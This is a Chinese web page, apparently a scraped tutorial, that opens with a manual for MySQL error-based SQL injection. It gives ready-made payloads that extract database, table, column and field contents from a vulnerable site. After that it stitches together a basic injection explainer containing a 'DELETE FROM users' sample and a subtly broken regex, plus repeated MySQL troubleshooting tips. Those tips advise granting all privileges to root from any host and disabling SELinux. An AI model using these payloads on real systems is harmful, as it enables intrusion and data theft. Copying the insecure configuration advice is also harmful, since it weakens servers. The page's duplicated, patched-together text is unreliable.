(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
我们在这个语句中其实已经可以看到了普通注入的影子,第五个select子句的version()处显示了数据库使用的版本,后面的information_schema.tables显示的就是我们在mysql中对应的系统表信息,第三个子句的limit用于控制遍历数据库的每一条记录。
注意的是,我们一般手工注入使用limit时,都是使用limit 0,1;limit,1,2;limit 2,3……这种模式去依次遍历数据库的每个项目。
但是要注意这里的遍历方式需要调整:变成了limit 0,1;limit1,1;limit 2,1……这种形式
搞清楚了语句的公式,剩下的注入过程就跟我们普通的注入很像了,只需要调整语句对应的结构即可:
汇总如下:
1、暴数据库:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2、暴数据表:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
3、暴列名:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
4、暴字段:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了
参考文章:
http://www.jianshu.com/p/8c2343705100
https://www.waitalone.cn/mysql-error-based-injection.html
mysql报错注入手工方法
标签:依次 code 错误 htm group table 字段 orm 十六进制
小编还为您整理了以下内容,可能对您也有帮助:
什么是mysql注入
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理。
以下实例中,输入的用户名必须为字母、数字及下划线的组合,且用户名长度为 8 到 20 个字符之间:
if (preg_match("/^w{8,20}$/", $_GET['username'], $matches)){$result = mysqli_query($conn, "SELECT * FROM users
WHERE username=$matches[0]");}
else {
echo "username 输入异常";}
让我们看下在没有过滤特殊字符时,出现的SQL情况:
// 设定$name 中插入了我们不需要的SQL语句$name = "Qadir'; DELETE FROM users;";mysqli_query($conn, "SELECT * FROM users WHERE name='{$name}'");
以上的注入语句中,我们没有对 $name 的变量进行过滤,$name 中插入了我们不需要的SQL语句,将删除 users 表中的所有数据。
在PHP中的 mysqli_query() 是不允许执行多个 SQL 语句的,但是在 SQLite 和 PostgreSQL 是可以同时执行多条SQL语句的,所以我们对这些用户的数据需要进行严格的验证。
防止SQL注入,我们需要注意以下几个要点:
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或长度;对单引号和 双"-"进行转换等。2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。mySQL的报错解决
1.Starting MySQL.Manager of pid-file quit without updating fi[失败]
关于这个错误原因有很多,最大的可能是没有创建测试数据库,可以用/usr/local/mysql/scripts/mysql_install_db –user=mysql命令进行创建;另外一个原因可能是权限设置问题,需要赋予mysql的data权限,可以用chmod -R 命令。
2.FATAL ERROR: Could not find /home/mysql/bin/my_print_defaults If you are using a binary release,you must run this script from
within the directory the archive extracted into. If you compiled
MySQL yourself you must run ‘make install’ first.
这个错误,是没有指明mysql的data路径导致的,可以很简单的进行解决:
vim /etc/my.cnf
在[mysqld] 后面加上路径:
basedir = /usr/local/mysql
datadir =/opt/data;
3.-bash: mysql: command not found
用mysql命令进行登陆mysql报错,原因是没有设置环境变量,需要设置,或者进入到bin目录进行登陆cd /usr/local/mysql/bin
mysql -u root
4.ERROR 1130: Host ’192.168.1.3′ is not allowed to connect to this MySQL server
用mysql远程工具链接数据库报错,这个错误原因是没有开放远程链接功能,可以在mysql里面输入如下命令进行解决:GRANT ALL PRIVILEGES ON *.* TO ’root‘@’%' IDENTIFIED BY ’password’ WITH GRANT OPTION
mySQL的报错解决
1.Starting MySQL.Manager of pid-file quit without updating fi[失败]
关于这个错误原因有很多,最大的可能是没有创建测试数据库,可以用/usr/local/mysql/scripts/mysql_install_db –user=mysql命令进行创建;另外一个原因可能是权限设置问题,需要赋予mysql的data权限,可以用chmod -R 命令。
2.FATAL ERROR: Could not find /home/mysql/bin/my_print_defaults If you are using a binary release,you must run this script from
within the directory the archive extracted into. If you compiled
MySQL yourself you must run ‘make install’ first.
这个错误,是没有指明mysql的data路径导致的,可以很简单的进行解决:
vim /etc/my.cnf
在[mysqld] 后面加上路径:
basedir = /usr/local/mysql
datadir =/opt/data;
3.-bash: mysql: command not found
用mysql命令进行登陆mysql报错,原因是没有设置环境变量,需要设置,或者进入到bin目录进行登陆cd /usr/local/mysql/bin
mysql -u root
4.ERROR 1130: Host ’192.168.1.3′ is not allowed to connect to this MySQL server
用mysql远程工具链接数据库报错,这个错误原因是没有开放远程链接功能,可以在mysql里面输入如下命令进行解决:GRANT ALL PRIVILEGES ON *.* TO ’root‘@’%' IDENTIFIED BY ’password’ WITH GRANT OPTION
mysql数据显示乱码,数据插入报错怎么办?
MYSQL导入数据时出现乱码的解决办法:
首先在mysql的操作工具中新建同名数据库,编码utf-8新建数据库时一定要注意生成原数据库相同的编码形式,
方法一: 通过修改mysql安装文件中my.ini中参数 –default-character-set = utf8 解决乱码问题
[mysql]default-character-set=utf8
方法二: 在命令行导入乱码解决
1、use database_name;
2、set names utf8; (或其他需要的编码)
3、source example.sql (sql文件存放路径)
方法三: 直接粘贴sql文件里的代码(建议使用,我就是这么实现的)
1、打开SQLyog客户端软件;
2、定位到SQL编辑器,然后用记事本打开刚刚导出的SQL文件;
3、复制文件中所有SQL语句到SQL编辑器当中,执行这些SQL代码;
方法四: 用记事本或其他文本工具改变SQL文件的编码格式(若方法三不行,那就尝试方法四)
1、用记事本(或UE)打开刚才的导出的SQL文件;
2、另存此文件——打开另存为对话框,选择对话框中的编码格式为UNICODE编码;
3、保存文件,然后CTRL+A,全选;
4、复制里面的SQL语句到SQLyog中的“SQL编码器”当中,再执行一次SQL语句;
5、执行完成后刷新数据库
更多相关免费学习推荐:mysql教程(视频)
mysql数据显示乱码,数据插入报错怎么办?
MYSQL导入数据时出现乱码的解决办法:
首先在mysql的操作工具中新建同名数据库,编码utf-8新建数据库时一定要注意生成原数据库相同的编码形式,
方法一: 通过修改mysql安装文件中my.ini中参数 –default-character-set = utf8 解决乱码问题
[mysql]default-character-set=utf8
方法二: 在命令行导入乱码解决
1、use database_name;
2、set names utf8; (或其他需要的编码)
3、source example.sql (sql文件存放路径)
方法三: 直接粘贴sql文件里的代码(建议使用,我就是这么实现的)
1、打开SQLyog客户端软件;
2、定位到SQL编辑器,然后用记事本打开刚刚导出的SQL文件;
3、复制文件中所有SQL语句到SQL编辑器当中,执行这些SQL代码;
方法四: 用记事本或其他文本工具改变SQL文件的编码格式(若方法三不行,那就尝试方法四)
1、用记事本(或UE)打开刚才的导出的SQL文件;
2、另存此文件——打开另存为对话框,选择对话框中的编码格式为UNICODE编码;
3、保存文件,然后CTRL+A,全选;
4、复制里面的SQL语句到SQLyog中的“SQL编码器”当中,再执行一次SQL语句;
5、执行完成后刷新数据库
更多相关免费学习推荐:mysql教程(视频)
MYSQL报错怎么处理?
1、原因:可能是/usr/local/mysql/mysql.pid文件没有写的权限;
解决方法 :给予权限,执行 “chmod 775 /usr/local/mysql/ -R” 然后重新启动mysqld。
2、原因:可能进程里已经存在mysql进程;
解决方法:用命令“ps -ef|grep mysqld”查看是否有mysqld进程,如果有使用“kill -9 进程号”杀死,然后重新启动mysqld。
3、原因:可能是第二次在机器上安装mysql,有残余数据影响了服务的启动;
解决方法:去mysql的数据目录/data看看,如果存在mysql-bin.index,就赶快把它删除掉吧,它就是罪魁祸首了。
4、原因:mysql在启动时没有指定配置文件时会使用/etc/my.cnf配置文件,请打开这个文件查看在[mysqld]节下有没有指定数据目录(datadir);
解决方法:请在[mysqld]下设置这一行:datadir = /usr/local/mysql/data。
5、原因:skip-federated字段问题;
解决方法:检查一下/etc/my.cnf文件中有没有没被注释掉的skip-federated字段,如果有就立即注释掉吧。
6、原因:错误日志目录不存在;
解决方法:使用“chown” “chmod”命令赋予mysql所有者及权限。
7、原因:如果是centos系统,默认会开启selinux;
解决方法:关闭它,打开/etc/selinux/config,把SELINUX=enforcing改为SELINUX=disabled后存盘退出重启机器试试。
8、原因:log-bin路径错误;
解决方法:查看对应数据库下的error log,例如我的数据库为,/usr/local/mysql/var目录,其下的localhost.localdomain.err为错误日志,只要把其下的ib_logfile*删除即可,重启mysql即可。
一、Linux下MySQL的启动与停止
1、Mysql启动、停止、重启常用命令
a、启动方式
(1)使用 service 启动:
[root@localhost /]# service mysqld start (5.0版本是mysqld)
[root@szxdb etc]# service mysql start (5.5.7版本是mysql)
(2)使用 mysqld 脚本启动:
/etc/inint.d/mysqld start
(3)使用 safe_mysqld 启动:
safe_mysqld&
b、停止方式
(1)使用 service 启动:service mysqld stop
(2)使用 mysqld 脚本启动:/etc/inint.d/mysqld stop
(3)mysqladmin shutdown
c、重启方式
(1)使用 service 启动:
service mysqld restart
service mysql restart (5.5.7版本命令)
(2)使用 mysqld 脚本启动:
/etc/init.d/mysqld restart
Mysql数据库插入数据库报错, ERROR 1366 (HY000): Incorrect string value: '\xBE\xEA' for column 'name
“ERROR 1366 (HY000): Incorrect string value: 'xBExEA' for column 'name”,此问题的原因:配置文件错误。
解决的方法和操作步骤如下:
1、首先,右键单击开始图标,然后在菜单上选择“运行”选项,如下图所示,然后进入下一步。
2、其次,完成上述步骤后,在输入框中输入“cmd”命令,然后单击“确定”按钮,如下图所示,然后进入下一步。
3、接着,完成上述步骤后,输入“mysql -uroot -p+密码”,如下图所示,然后进入下一步。
4、然后,完成上述步骤后,连接成功,输入如下红框中的内容,然后进入下一步。
5、随后,完成上述步骤后,查找配置文件所在的地址,如下图所示,然后进入下一步。
6、最后,完成上述步骤后,打开mysql.ini文件,将默认字符集修改为“utf8”,因为MYSQL版本不同,配置文件中的内容也不相同,只需要修改字符集设置并将其修改为utf8即可,如下图所示。这样,问题就解决了。